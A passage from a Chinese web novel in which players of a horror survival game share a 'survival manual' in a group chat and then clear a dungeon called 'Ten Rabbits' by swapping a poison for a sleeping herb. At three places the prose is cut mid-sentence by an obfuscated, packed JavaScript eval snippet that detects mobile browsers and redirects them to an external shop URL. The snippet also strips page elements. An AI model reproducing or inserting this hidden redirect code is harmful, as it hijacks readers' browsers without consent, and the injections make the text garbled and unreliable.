店主张了张嘴,想说什么,却又咽了回去。他偷偷打量初与序,这才发现初与序的右眼瞳孔灰蒙蒙,像是很久以前也受了伤。 手机屏幕亮起,初与序的手指轻轻滑动,检查功能,店里一时安静得只剩下机器的轰鸣。 “那个,”店主突然压低声音,“小姑娘,你们D区住户是不是会欺负新玩家啊?那些老玩家要是干了什么,你要告诉执行官啊,受了伤也要去医院。大部分玩家对新人都很友好的,除了各别队伍和玩家。” “多谢关心。”初与序淡淡道,“但我的伤是在副本里受的,D区住户不像传闻中那样,他们都很好。” 店主松了口气,点点头:“那也记得去医院看看,看病不需要积分的。” 初与序最终还是打开面板付了1.5积分,推门走进了风雪中。永冬之城的雪依旧下个不停,仿佛要掩埋一切不堪回首的过去。 她走回D区时,竟看到有住户三三两两聚在一起,打牌抽烟,甚至还有几个盘腿坐在雪地里下棋,棋子落在棋盘上的脆响在寂静的夜里格外清晰。 D栋有不少窗口亮着灯,玩家们几乎全部醒来,开启夜生活。初与序走进电梯,来到十八楼。 十八楼的走廊灯坏了一盏,身下那盏时明时暗。她经过第一间房时,能隐约听见景明垂屋里传来书页翻动的声音,而第三间房的门上还贴着封条,门缝里透出一丝冷风,仿佛那个跳楼的玩家留下的最后一丝气息仍未散去。 她刷卡进入自己房间,暖气扑面而来,驱散了身上的寒意。房子不算特别大,很干净、冷清。沙发上的靠枕整齐地摆着,茶几上什么都没有,只有角落里堆着几箱未拆封速食食品。 初与序拉开冰箱,冷藏室里整齐码着新鲜的蔬菜和肉类,保鲜膜上凝结着水珠。初与序盯着它们看了几秒,关上门,转而从柜子里拿出速食泡面。 上次试图做饭的结果还历历在目:焦黑的平底锅、触发火警后淋下的灭火泡沫。 将热水倒入泡面里,初与序靠在落地窗前望着楼下,右眼在夜色中微微眯起。那只眼睛的视力早在过去某件往事中严重受损,如今只能勉强感知光暗变化。她不得不侧过头,辨认楼下的身影。 十八楼的高度让玩家们缩成了模糊的小点,但那个手舞足蹈的影子太有辨识度:随歌标志性的黄毛在路灯下泛着浅金,正对着棋局指手画脚,而他对面穿着道袍的玩家气得把棋子捏出了裂痕。 她的视线又移到近处路灯下的身影,冬逢初斜倚在灯柱旁,浅棕色的发丝被昏黄的光线镀上一层柔和的暖色。他穿着黑色大衣,内搭白色衬衫,指尖夹着一支烟,火星在寒风中明灭。 等等。 这不对劲。 以她受损的视力,根本不可能在这种距离看清对方。可如今,冬逢初的每一个动作都无比清晰地映在她眼睛里,仿佛有人突然调高了世界的分辨率。 就在她愣神的瞬间,冬逢初像是感应到什么,忽然抬头,目光笔直地朝着她所在的落地窗望来。 两人的视线隔着十八层楼的高度与纷扬的雪幕,猝不及防地相撞。 这下冬逢初也意识到不对劲,自己的视力什么时候变得这么好了? 等初与序再抬头时,路灯下的冬逢初已经站直了身体,嘴角勾起一个温柔的弧度。甚至拿起手机冲她挥了挥,打了个招呼,示意她看手机。 初与序终于打开手机,通知栏里堆满了未读消息,最上方是几条好友申请,冬逢初的申请夹杂在其中。 没等她点开细看,手机突然疯狂震动,景明垂已经将她拉入了一个五人群,群名浮夸,一看就是随歌取的: 【永冬之城F5:拯救世界顺便偷草莓牛奶计划组】 初与序:“......” 刚进群,随歌的消息就噼里啪啦砸了过来: 随歌:「图片」「图片」「图片」「图片」「图片」 「速换头像!队形不能乱!」 初与序点开图片,映入眼帘的是五张根据《海绵宝宝》角色塑造的青蛙图像整齐排列: 随歌是海绵宝宝的青蛙形态,江意被分到蟹老板青蛙化,景明垂是穿着宇航服的青蛙形态珊迪,冬逢初的痞老板青蛙化有标志性触角,而自己的头像是章鱼哥青蛙形态。 群里另外四人的头像已经全部就位(被迫换上),初与序翻了个白眼,发出一条信息: 初与序:「为什么我是章鱼哥?很丑。」 景明垂:「赞同,好丑。」 随歌:「哪里丑了?!头像都是我根据每人气质特意挑选的,比如意哥很有钱,他就是蟹老板。初与序你不觉得你很像章鱼哥吗?」 初与序面无表情换上头像,章鱼哥的眼睛里闪过一道红光,手机自动弹出消息:【您已激活“暴打系统”战队BUFF】 她垂眸轻轻笑了一下,忽然感觉这头像也没那么丑。 江意:「文件:生存手册-精简实战版.pdf」 「这是D栋玩家在过往副本中整理出的使用资料,涵盖基础生存技能与部分系统漏洞利用方案。你们先保存,过几分钟后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969526|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会撤回。」 初与序立刻保存下载,点开文件,里面主要内容包括:紧急医疗处理,极端环境生存指南以及系统机制与漏洞。 注意事项:72%的内容被系统标记【违规】,阅读时请确保别被任何人发现。部分章节需要三人以上组队编号解密。最后一章的「副本boss速通法」仅限于D栋玩家参考,其他区使用后果自负。 她微微蹙眉,这份文件太重要了,没想到江意就这么直接给了他们。 随歌:「翻译一下,这就是我们的作弊宝典。记得别被D19发现(虽然他早就知道)。」 江意:「第45页新增【如何应对十八楼异常现象】,数据来源包括随歌的实测记录。」 初与序翻到第45页,发现那里附了段模糊视频:某个深夜,随歌用竹扇和手电筒在十八楼走廊表现”驱鬼”,结果被从窗户扔进来的草莓牛奶盒砸中脑袋。 冬逢初:「意哥,你确定这个视频……有用?」 江意:「抱歉,没有用,你们就当做没看见。」 「这几天尽量把文件里写的记录背下来,背不下来就全部过一遍,关键时刻能保命。」 初与序在群里简短地回复了一个「收到」,将手机放在一旁。厨房里,速食泡面的香气弥漫开来,白雾从泡面桶里缓缓升起。她坐在餐桌边,热气扑在脸上,带着久违的温暖。 好像已经很久没有这样,安静地吃一顿饭了。 在现实中,她要不不吃,要不是便利店冰冷的饭团。而更早之前,在后来的善佑医院那段日子,“吃饭”更像是一种折磨,沉默的饭厅只有勺子碰撞餐盘的声响,和护士来回踱步的脚步声。 手机屏幕亮了起来,群里随歌正在刷屏各种草莓牛奶的表情包,冬逢初陪他聊天,江意说要将他俩禁言,景明垂偶尔接几句话。 初与序看着看着,忽然意识到自己在笑。 不是那种应付式的微笑,而是真正从胸腔里涌上来的、压不住的笑意。 窗外,D栋的某位玩家放起了恐怖音乐,好像是《楚人美》,随歌在群里吓得大喊「哪个孙子放的」,冬逢初默默回了一句:「好像是801的道士。」 初与序的舌尖被泡面烫得微微发麻。 吃完泡面,她走进卧室打开衣柜,里面果然整齐挂着几件厚实的冬季外套,什么大衣、夹克、皮衣、西装。甚至包括一些家居服、内衣。男款和女款都有。 D栋的夜晚果然比白天鲜活得多,窗外隐约传来嬉笑声,整栋楼的住户都默契地在黑暗中苏醒过来。 初与序坐到窗边,点开江意发的文件,文档里密密麻麻的笔迹和图标在眼睛展开,从止血凝胶的分子式到机械零件的分解图,甚至还有一看就知道是谁手绘的自动贩卖机内部构造,旁边潦草地标注着「草莓牛奶库存区」。 夜色更深了,但D栋的灯光一盏接一盏亮着,像永不熄灭的星辰。 27. 十只兔子 雪后的永冬之城格外寂静,第三场副本《十只兔子》的时间到了,四人在D栋门口集合,沿着通往车站的道路前行,厚厚的积雪在脚下发出沉闷的咯吱声。 “听说这次的《十只兔子》副本超级变态!”随歌做了个夸张的抹脖子动作,“上个月A区一个小队进去,结果被会唱歌的兔子玩偶追杀了三小时,最后只出来两个人。” 景明垂面无表情询问:“...为什么不能抽到《草莓园》那种副本?” “因为系统就爱看我们哭爹喊娘啊~”随歌用扇子戳了戳路边的雪人,那雪人突然扭动脖子,把他吓了一跳,“我靠!谁堆的雪人?” 他从怀里掏出四盒草莓牛奶,盒身上歪歪扭扭画着符咒般的涂鸦:“不过别怕!我准备了终极武器!” 冬逢初接过一盒,突然轻笑:“你把驱邪咒文和备料表抄反了。” 初与序刚想说话,余光中瞥见一抹蓝色。几朵纤弱的小花从积雪中探出头来,花瓣上还沾着未化的雪粒,在苍白的世界里显得格外醒目。 “这是什么花?”她停下脚步。 冬逢初顺着她的视线看过去,声音平静:“勿忘我。” ——勿忘我。 初与序怔了怔,这名字像一根细针,轻轻刺进记忆的缝隙。她总觉得在哪里见过这种花,不是在这里,而是在更久远的、几乎被遗忘的时光里。 “当年医院住院部天台上的花园里不知道是谁种了这些花。”景明垂出声,“但很少。” 随歌凑过来,竹扇轻轻拨弄花瓣:“勿忘我,这可是永冬之城的专属花。即使在冬天,勿忘我也永远盛开,可能是妄主喜欢。” 远处传来列车进站的汽笛声。“走了。”初与序转身,大衣衣摆扫过花瓣,“它们会一直开在这里。” 冬逢初最后看了一眼那些蓝紫色小花,转身跟上队伍。身后,勿忘我在雪中轻轻摇曳,像是无声的送别。 D019次列车缓缓停靠在站台边,车门滑开,坐在前面的列车长依旧是昨天的波浪长发女性,银色的「J23」编号闪烁。 随歌熟络地挥了挥扇子:“姐,早上好啊~” “早上不好,不想上班。”J23没好气道,“快上车坐好,你们副本要超时了。” 初与序跟在最后,踏上列车,坐在景明垂身边。车门关闭,熟悉的机械女声从广播里传来: 【尊敬的各位玩家您好,您搭乘的D019次列车即将出发,请配合工作人员妥善安置行李,防止遗失。本次列车起点站:永冬之城;终点站:《十只兔子》。接下来,我会为各位讲解副本背景设定:】 【《十只兔子》原本是一首流传于孩童之间的童谣,但在这片幽暗森林里,它变成了一场真正的死亡轮回。】 【森林深处,十座兔子墓碑静静矗立,每一座都刻着童谣中的一句词。每当血月升起,墓碑下的亡便会苏醒,化作扭曲的怪物,重复它们生前的“职责”——病兔哀嚎、抬尸兔游荡、掘墓兔刨土......而最可怕的是,这场杀戮永无止境,因为十兔子才是幕后黑手,它操控着其他九只兔子的亡魂,让它们一遍遍重演死亡。】 【进入森林的人,会被迫成为“童谣”的一部分。要么被兔子猎杀,要么破解诅咒,终结这场噩梦。】 【主线任务:在三天内破解《十只兔子》的真相。阻止兔子的杀戮轮回,并活着离开幽暗森林。】 【祝您存活愉快。】 “怎么又是轮回?”初与序微微皱眉,她想起自己第一场副本《灯影诡村》最后的真相也是诅咒轮回。 “可能是巧合吧。”随歌挠挠头,“我和意哥以前也经常遇到什么诅咒啊、轮回啊之类的副本。” J23回头瞥了一眼四人:“你们D区几个得小心点,最近系统心情不好,今天凌晨有D区玩家炸了S级副本,现在在处罚区呢。” “估计又是801那道士。”随歌打了个哈欠,“姐你就放心吧,我们保证不惹事。” 列车逐渐减速,窗外的景色从扭曲的色块变成一团模糊的雾气。车厢门缓缓开启,刺骨的寒风灌了进来。 J23的波浪卷发被吹得微微扬起,她挥手:“到了,祝各位活着回来。” 初与序跟在队伍最后下车,踏入幽暗森林的那一刻,浓雾如纱般缠绕上来,遮天蔽日的树影将阳光切割成破碎的光斑。空气中弥漫着潮湿的腐叶气息,隐约夹杂着一丝甜腥。 “什么鬼——”景明垂话没说完,远处突然传来孩童的歌声: “大兔子病了,二兔子瞧......” 声音清脆,却偷着说不出的诡异,从四面八方渗出。调子欢快,可每一个字都像冰冷的针,缓缓刺进耳膜。 “三兔子买药,四兔子熬......” 歌声忽远忽近,时而像在耳边呢喃,时而又飘向森林深处。随歌吓得大喊一声,立刻躲到冬逢初身后:“哥!护我!” 四人试图寻找声源,可放眼望去,只有扭曲的树干和...不知何时出现的,十座低矮的兔子墓碑,每一座都歪歪斜斜地立在阴影里,碑面泛着潮湿的光。 歌声戛然而至,寂静中,只剩下风吹过树叶的沙沙声,仿佛有无数细小的爪子在摩擦地面。 “病兔、巫医兔、药商兔和熬药兔。”初与序轻声念道,她看向森林深处,“先往里面走走看吧。” 随歌苦着脸:“我想回去——我还以为是可爱的兔子——没人告诉我这是恐怖兔子啊!!!” “我们都在呢,大白天的不会出事。”冬逢初无奈地拖着随歌,“走了走了。” 脚下的枯叶发出细碎的脆响,每一步都像踩在某种腐朽的骨骼上。森林深处的光线更加昏暗,扭曲的树影在雾气中蠕动,仿佛无数双伸长的手臂。 初与序拨开一丛低垂的荆棘,忽然,一座歪斜的木屋出现在视野里:屋顶塌陷了一半,门板歪歪斜斜地挂着,上面用暗红色的颜料画着一只兔子的轮廓,眼睛是两个漆黑的窟窿。 “二兔子的......诊所?”景明垂低声道,手指轻轻擦过门框,指腹立刻沾上一层黏腻的灰。 几人走进去,屋内弥漫着刺鼻的药草味,混合着某种腐败的气味。架子上摆满了落满灰尘的玻璃瓶,里面浸泡着不知名的器官,在浑浊的液体中缓缓浮动。一张木桌上飘落着泛黄的纸张,墨迹早已晕染成诡异的形状。 冬逢初轻轻拿起其中一张,纸页发出脆弱的声响,仿佛随时会碎裂。 「今日,大兔子的病症加剧了......瞳孔扩散, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969527|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毛发脱落……但奇怪的是,它一直在笑……」 字迹到这里变得狂乱,像是书写者陷入了某种癫狂。 「不对……不是病……是……我们都被骗了……十兔子在看着我们……」 最后一行字被狠狠划破,纸张边缘残留着干涸的血迹。 “这二兔子不是什么好东西啊...”随歌说着,忽然感觉后劲一凉,仿佛有什么东西在暗处轻轻呼吸。 他猛地回头,却只看见门外晃动的树影,和远处那座似乎比刚才更近了一点的兔子墓碑。 “喂...你们不觉得那墓碑动了吗?”随歌颤着声问。 另外三人回头看去,景明垂沉默一会,又看向随歌:“你上午吃菌子出现幻觉了?” “没有动。”冬逢初摇头。 “啊?”随歌揉了揉眼睛,重新去看墓碑的位置,竟发现兔子墓碑根本没移动,在原地完好立着,“可能...是我眼花了吧。” 初与序全程没有说话,翻看着桌面上的纸页。她眉头微蹙,手指在“不是病”三字上停顿了一瞬,脑中迅速串联线索。 童谣第一句是“大兔子病了”,但巫医的笔记却明确写着“不是病”。而二兔子是“瞧病”的角色,可笔记里全是诅咒相关的记录,而非治疗。 她又回头看向森林里的墓碑排序,这才发现大兔子的碑文比其他兔子更模糊,像是被刻意磨损。 “你们觉得,毛发脱落、瞳孔扩散是病症吗?”初与序突然出声。 其余三人闻言转头,初与序将一张纸页举到光线之下,纸页透着诡异的暗红色脉络:“看这张——‘服用药剂后,爪甲变黑,嘴角渗血’,还有这句‘每到午夜,它会对着月亮啃食自己的爪子’..……” 她的声音越来越低:“根据昨天群里的文件,这不是病,是毒。慢性发作的毒。” 随歌倒吸一口凉气:“所以大兔子是被...” “谋杀。”初与序接话,将纸页放回桌上,“而且下毒者很聪明,让二兔子误诊成普通病症。找找看,巫医兔的草药箱里一定有线索,既然它能诊断,那么必定留有解药剂的配方。” 景明垂伸手拉开角落的柜门,灰尘簌簌落下。冬逢初忽然指向天花板:“看上面。” 只见房梁上悬挂着一个藤编的药箱,箱角渗出暗绿色的黏液,正一滴、一滴落在下方的人骨标本上,发出腐蚀的滋滋声。随歌纵身跃起,扇子一挑,药箱应声而落。 箱盖摊开的瞬间,数十只干枯的兔爪像蜘蛛般爬出,又被随歌一脚踩碎。在腐烂的草药堆里,一张羊皮纸格外醒目:上面画着十只兔子的解剖图,每只心口都插着不同的毒草。 “果然。”初与序看着药箱,“十种毒对应十只兔子。”她抖了抖羊皮纸,墨迹突然扭曲重组,浮现出一行血字: 「解药在熬药锅底,但四兔子已经把它藏进了自己胃里。」 而在羊皮纸下面,藏着一块被黑布包裹的碎镜。景明垂轻轻掀开黑布,只见镜面布满裂痕,仿佛被人狠狠砸碎后又小心收藏。她盯着那镜子看了一会,默默收起放到口袋里。 众人沉默间,屋外突然传来窸窣声,像是无数爪子正在刨土。初与序利落地卷起图纸:“先去找三兔子的药铺,知道毒药是什么。” 28. 十只兔子 穿过一片扭曲的枯树林,景明垂突然停下脚步:“等等,你们闻到没有?” 空气中飘来浓烈的草药味,另外三人立刻站定。景明垂蹲下身,指尖抹过地面一道黏腻的暗痕。那痕迹蜿蜒向前,如同干涸的血迹,最终消失在东侧一片格外茂密的荆棘丛后。 初与序拨开垂挂的藤条,忽然顿住。荆棘丛后竟藏着一座半塌的杉木小屋,屋顶早已被某种暗红色的藤蔓撕开豁口。 那些藤蔓表面布满细密的倒刺,正随着呼吸般的节奏缓缓蠕动,将整座小屋缠绕成巨大的茧。藤蔓间隙里,隐约可见门楣上悬挂的褪色招牌:“三兔药坊”,招牌一角还挂着半只风干的兔爪。 “药铺被寄生了。”冬逢初试探性向前半步,鞋底刚触碰到地面,最近的血藤突然一颤,倒刺齐齐竖起,渗出浑浊的黏液。他立刻退回,“黏液有腐蚀性。” 随歌抽出竹扇,青翠的扇骨在昏暗中泛着冷光。扇面展开时,一缕带着草药香气的风拂过众人鼻尖。 “要劈开荆棘是吧?”他忽然笑了笑,扇尖斜斜一划。 狂风骤起。 枯叶与沙石在气流中化作利刃,血藤发出婴儿啼哭的尖啸。但藤蔓仅仅被割开表层,断裂处喷溅的黏液竟在空中凝成毒针! “蹲下!”初与序一把拽倒身边两人。 随歌旋身展扇,第二道风墙精准截住毒液,被风裹挟的黏液反倒建辉藤蔓,腐蚀得它们剧烈抽搐。 “原来如此。”景明垂凝视着冒烟的藤蔓断面,“它们怕自己的毒。” 初与序出声:“随歌,能控制风向吗?把毒液吹到主藤上。” 竹扇在随歌修长的指尖转了个弧,他歪头笑道:“可能会有点吵。” 第三次挥扇时,飓风裹着漫天毒液倒灌进荆棘丛。血藤在凄厉嘶鸣中互相绞杀,一时间整个森林充斥着尖叫声,四人纷纷捂住耳朵。 最终,药铺黑洞洞的入口被露出,腐烂的药香混着血腥味扑面而来,屋内突然传来“咚”的一声闷响,像是有什么东西从药柜深处滚落下来。 四人看去,屋内一片昏暗,只有从藤蔓缝隙漏进的几缕血月微光,在地板上投下扭曲的斑影。那声闷响后,整个药铺陷入诡异的寂静。 随歌刚要迈步,冬逢初突然伸手拦住他:“等等。” 他弯腰拾起一块碎石,轻轻抛向屋内。石子落地的瞬间,地面突然窜出数十根细如发丝的血藤,在空中疯狂舞动,又缓缓缩回地板缝隙。 “地板下也是。”冬逢初开口,嗓音温润。 初与序蹲下身轻轻触碰门框,木头上密密麻麻全是细小的孔洞,看得她密集恐惧症又犯了。她站起身:“这些藤蔓会感知震动,需要有东西当诱饵。” “我来吧。”随歌把玩着竹扇,忽然猛地将扇子往空中一抛。竹扇旋转着飞入屋内,带起一阵旋风。刹那间,整个药铺的地板如同活物般翻涌起来,无数血藤破木而出,朝空中的扇子扑去。 “快进去!” 四人同时冲入,景明垂灵活地避开地上仍在扭动的藤蔓,直奔那个发出声响的药柜。柜门已经被藤蔓绞得变形,她用力一拽。 “哗啦!” 数十个玻璃瓶从柜中倾泻而下,在地上摔得粉碎。各色药粉混着干枯的草药撒了一地,而在这些碎片中间,静静躺着一本皮质账簿。 初与序迅速捡起账簿翻开,泛黄的纸页上记录着密密麻麻的交易记录。突然,她手指停在某一页: 「黑爪草,十斤,由幽暗森林北境特供......供货方署名——十兔子。」 就在这时,屋外传来窸窸窣窣的声响,像是无数爪子在落叶上奔跑。冬逢初最先反应过来:“快走!藤蔓在再生!” 他们冲出药铺的刹那,整座小屋发出吱嘎声,血藤以肉眼可见的速度重新包裹住建筑。而远处的树影里,隐约可见数个佝偻的白影正朝这边跳跃着靠近。 “是三兔子的...药商兔?”冬逢初不确定地问。 初与序将账簿塞入怀中:“不,应该是来取药的。” 随歌接住飞回的竹扇,扇面上不知何时沾染了一滴暗红色黏液。他看了眼重归寂静的森林:“太阳要落山了,接下来我们要干什么?” 初与序将账簿摊开在众人面前,指尖点在那行记录上。 “黑爪草,一种生长在腐尸堆上的剧毒植物,中毒者会经历三个阶段:先是毛发脱落,再是爪甲发黑,最后...”她翻到下一页,上面画着一只扭曲的兔子,正疯狂啃咬自己的爪子,“......自噬而亡。” “这一记载在文件第50页,随歌和意哥当年通关的副本《吐花症》里就有黑爪草。” 随歌扬眉吃惊:“我都不记得你,你这几天不会把整份文件背下来了吧?” 初与序点点头,合上账簿:继续道“二兔子的巫医笔记提到过,大兔子死前一直在笑,这正是黑爪草中毒后的症状,神经毒素侵蚀大脑,产生幻觉。” “所以三兔子药铺里的血藤是黑爪草的共生体,那些藤蔓分泌的毒液,和熬药锅里的是同一种东西。”景明垂抱着胳膊分析。 “而四兔子真在熬药,不出意外它熬的是最后一剂能彻底杀死大兔子的浓缩毒药。”初与序顿了顿,笑了一下,“但如果我们把毒药调包...” 随歌眼睛一亮:“夜晚来袭的熬药兔就会失去最大的武器!” “不仅如此。”初与序从大衣口袋中取出一个小布袋,倒出几片不知何时从药铺顺来的干燥草药,“这是月眠花,和黑爪草外形相似,但功效相反,它能让人昏睡。我们把它混进熬药锅里,不仅能让熬药兔失去战斗力...” 冬逢初明白了什么,接话:“还能让喝下药的大兔子进入假死状态?” 初与序赞许地看了他一眼:“正是。这样一来,既能破坏童谣的杀戮循序,又能保住大兔子的命,大兔子可能是揭开十兔子真面目的关键。” “哇哦!这是个好计划。”随歌合上竹扇,“但四兔子的熬药屋肯定比药铺更危险,我们去了极有可能嘎巴一下躺地上睡着。” “所以需要声东击西。”初与序将月眠花分成两份,“随歌用你的扇子制造雾气掩护,景明垂和冬逢初制造骚动,引开守卫。”她将其中一份药草收入袖中,“而我去调换药包。” “可你是一个人,又没有武器。”冬逢初温声道。 初与序点开面板,打开第二场副本《狼人杀》的奖励:“我有‘不死鸟徽章’,即使死亡了,也能复活。” 远处传来一声凄厉的兔啸,树林开始不自然地摇晃。 “天黑前必须完成。”初与序关闭面板,认真道,“否则等到月亮升起,熬药兔就会把毒药送给大兔子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969528|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们就只能给它收尸了。” 暮色渐沉,幽暗森林被一层紫黑色的雾气笼罩。远处,一座低矮的茅草屋孤零零地立在林间空地,烟囱里不断冒出诡异的青绿色烟雾,那是四兔子的熬药屋。初与序隐藏在树后,屏息观察者前方的两只灰兔守卫。 这两只兔子足足有两米高,佝偻着背,却用两条粗壮的后腿站立着。它们的皮毛是一种病态的灰绿色,像是腐烂的苔藓黏在皮肤上,一块块剥落,露出底下暗红色的肌肉。 最恐怖的是它们的兔头,长着一张扭曲的类人面孔,凸出的眼球布满血丝,瞳孔细长如蛇,鼻子和嘴巴被拉长,咧开的嘴角几乎裂到耳根,露出参差不齐的尖牙。 “你们说这兔子怎么长这么恐怖?”随歌声音发抖,小声朝另外两人说,“我晚上要做噩梦了。” “你关注人家长相干啥?”景明垂忍不住吐槽,话锋一转,“不过你说得没问题。” 初与序回过头,朝身后的队友打了个手势——行动开始。 “我们俩分开,一人一只引走。”冬逢初看向景明垂,景明垂比了个OK的收势,分开行动。 她压低身形,迅速移动到左侧的枯树后,从地上抓起一块尖锐的碎石,瞄准远处的一截断木。 “啪!” 石块精准击中目标,发出清脆的撞击声。两只灰兔守卫猛地转头,耳朵竖直,鼻翼翕动。 “那边!”其中一只低吼,迈开畸形的长腿,朝声源处走去。它步伐怪异,像是关节错位,每一步都伴随着骨骼摩擦的“咔咔”声。 “这玩意竟然会说人话?!”随歌惊讶道。 初与序瞟了他一眼:“他都会写文字了。” 景明垂没有立刻逃跑,而是故意让灌木丛发出轻微的沙沙声,引诱灰兔深入。它咧着嘴,爪子拔开灌木,腐烂的兔连贴得极近,腥臭的呼吸喷在树叶上:“小东西……躲哪儿了?” 就在它即将发现景明垂的瞬间,“嗖!”一声,另一块碎石从相反的方向飞来,擦过灰兔的耳朵。 冬逢初选择了一种更隐蔽的方式,他拾起一根长树枝,轻轻拨动远处的草丛,制造出类似小动物窜过的动静。 灰兔的鼻子抽动了两下,转向冬逢初的方向:“不对…气味在那边…” 冬逢初缓缓后退,每一步都精准地踩在松软的苔藓上,不发出一点声音。他的目光始终锁定灰兔,确保它被引得更远。 两只灰兔守卫短暂地对视一眼,其中一只沙哑道:“分开找。” 它们一左一右,朝不同的方向走去。 景明垂见时机成熟,突然从藏身处站起,故意让衣角擦过树枝,发出声响。 灰兔猛地回头,血红的眼睛锁定她,嘴角扭曲地扬起。 “抓到你了….…” 它猛地扑来,景明垂转身就跑,灰兔的爪子擦着她的后背划过,撕开一道浅浅的血痕。 与此同时,另一只灰兔也被冬逢初引到了更远的树丛中,彻底远离了熬药屋。在即将钻入密林前,他回头瞥了一眼。 那只灰兔守卫正站在月光下,畸形的身躯被拉出长长的影子。它缓缓抬起爪子,舔了舔指尖,喉咙里发出愉悦的“咯咯”声。 “跑吧…跑吧…”它嘶哑地笑着,“等月亮再高一点…我们会找到你们的…” 冬逢初转身消失在黑暗里。 29.十只兔子 当景明垂和冬逢初的身影彻底消失在密林深处,随歌从阴影中无声踏出。他指节修长的手指轻轻摩擦着竹扇的扇骨,青翠的扇面上,暗刻的纹路在月光下泛着微光。 他走向熬药屋前,雾气渐浓。 手腕一抖,扇面展开,带起一缕湿润的气流。起初只是微风,但很快,空气中的水汽开始凝结,化作细密的雾柱,盘旋着向四周扩散。 第二扇挥出,气流骤然加剧。雾气不再是自然弥漫,而是如同活物般翻涌,贴着地面爬行,缠绕上熬药屋的墙壁,吞噬了窗户和门框。不过几个呼吸间,整座屋子已被浓雾完全笼罩,连屋顶冒出的青绿色烟雾也被吞噬殆尽。 雾气中传来细微的“沙沙”声,像是无数细小的爪子在雾气中穿行。随歌刻意控制住风流,让雾气流动时发出类似生物移动的响声,干扰可能残留的兔子守卫。 初与序的身影在雾中若隐若现,她朝随歌微微颔首,随即如一道影子般掠向熬药屋的后窗。 就在她潜入的同时,雾气的边缘忽然扭曲了一瞬。一只灰兔守卫的身影在雾中浮现,它似乎察觉到了异常,腐烂的兔脸抽动着,细长的瞳孔紧缩,试图砍透浓雾。爪子扒拉着地面,喉咙里发出困惑的咕噜声。 随歌扇面无声一转,雾气骤然翻卷,化作一道漩涡,将灰兔的视线完全遮蔽。同时,另一股气流裹挟着远处景明垂刻意留下的血腥味,飘向相反的方向。 灰兔的鼻子抽动了两下,随即被气味吸引,踉跄着朝迷雾外追去。 第三扇挥出,雾气彻底化作屏障,将熬药屋与外界隔绝。他松了口气,目光落向自己右手——那五根手指上方都有明晃晃的伤疤,明显是手术后留下的。 熬药屋的后窗腐朽不堪,窗框早已被湿气蛀空。初与序指尖轻抵窗缝,稍稍用力。木窗发出细微的呻吟,缓缓推开一条缝隙。 屋内比想象中更暗,只有中央那口巨大的铁锅跳动着幽绿色的火苗,将整个空间映照得鬼气森森。浑浊的药汁在锅中翻滚,咕噜咕噜冒着泡。 四兔子背对着窗户,佝偻的身躯几乎弯成直角,细长的爪子握着一根人骨制成的搅拌棒,正机械地搅动着药液。它的皮毛呈现出病态的灰紫色,后颈裂开一道狰狞的伤口,隐约可见森白的脊椎。 “五兔子死了…六兔子抬…” 它哼唱着扭曲的童谣,嗓音沙哑,每一个音节都带着黏腻的湿气。 初与序屏住呼吸,轻盈地翻入窗内。她的鞋底触底无声,大衣衣摆没有掀起一丝风息。 屋内角落堆放着几个麻布药包,最上面的一包微微鼓胀,正是黑爪草。她目光一扫,迅速锁定了目标。 但就在她准备行动的刹那,“啪嗒”一声。 一滴黏液从天花板滴落,砸在她脚边。初与序盯着那滴黏液,缓缓抬头。 天花板上,密密麻麻倒挂着数十只蝙蝠形态的兔子。它们的翅膀是腐烂的皮膜,猩红的眼珠死死盯着她,尖牙间垂落黏稠的唾液。 “……” 初与序忽然开始想念自己的头像,那只可爱的章鱼哥青蛙化,比天花板这些玩意好多了。 她一动不动,连呼吸都近乎停滞。 一秒。两秒。 蝙蝠兔们没有动作,只是凝视。 它们似乎看不见静止的物体。 意识到这点,初与序极缓地伸手,指尖触到黑爪草药。药包沉甸甸的,表面沾着一层诡异的荧光粉末。她单手解开袖中的月眠花包,另一只手轻轻抽走黑爪草。 “咯吱。” 地板突然发出一声轻响,四兔子的搅拌动作顿住了。 初与序的动作没有停滞,月眠花包精准地塞回原处。 “谁……?”四兔子缓缓转头,脖颈发出“咔咔”声。在它即将看向角落的瞬间,忽然: “砰!” 屋外突然传来一声巨响,应该是景明垂和冬逢初制造的骚动。 四兔子的注意力被瞬间吸引,它低吼一声,拖着畸形的身躯冲向门口。初与序没有浪费这片刻的空隙,她闪身至药锅旁,袖中的月棉花粉倾泻而下。 粉末落入药液的瞬间,锅中原本暗绿色的浓汤微微泛起银光,随即恢复如常。但气味变了,那股刺鼻的腥臭淡化,取而代之的是一缕若有若无的甜腻。 她的目光又扫过每一寸可能藏有线索的地方。 既然来了,就不能空手回去。 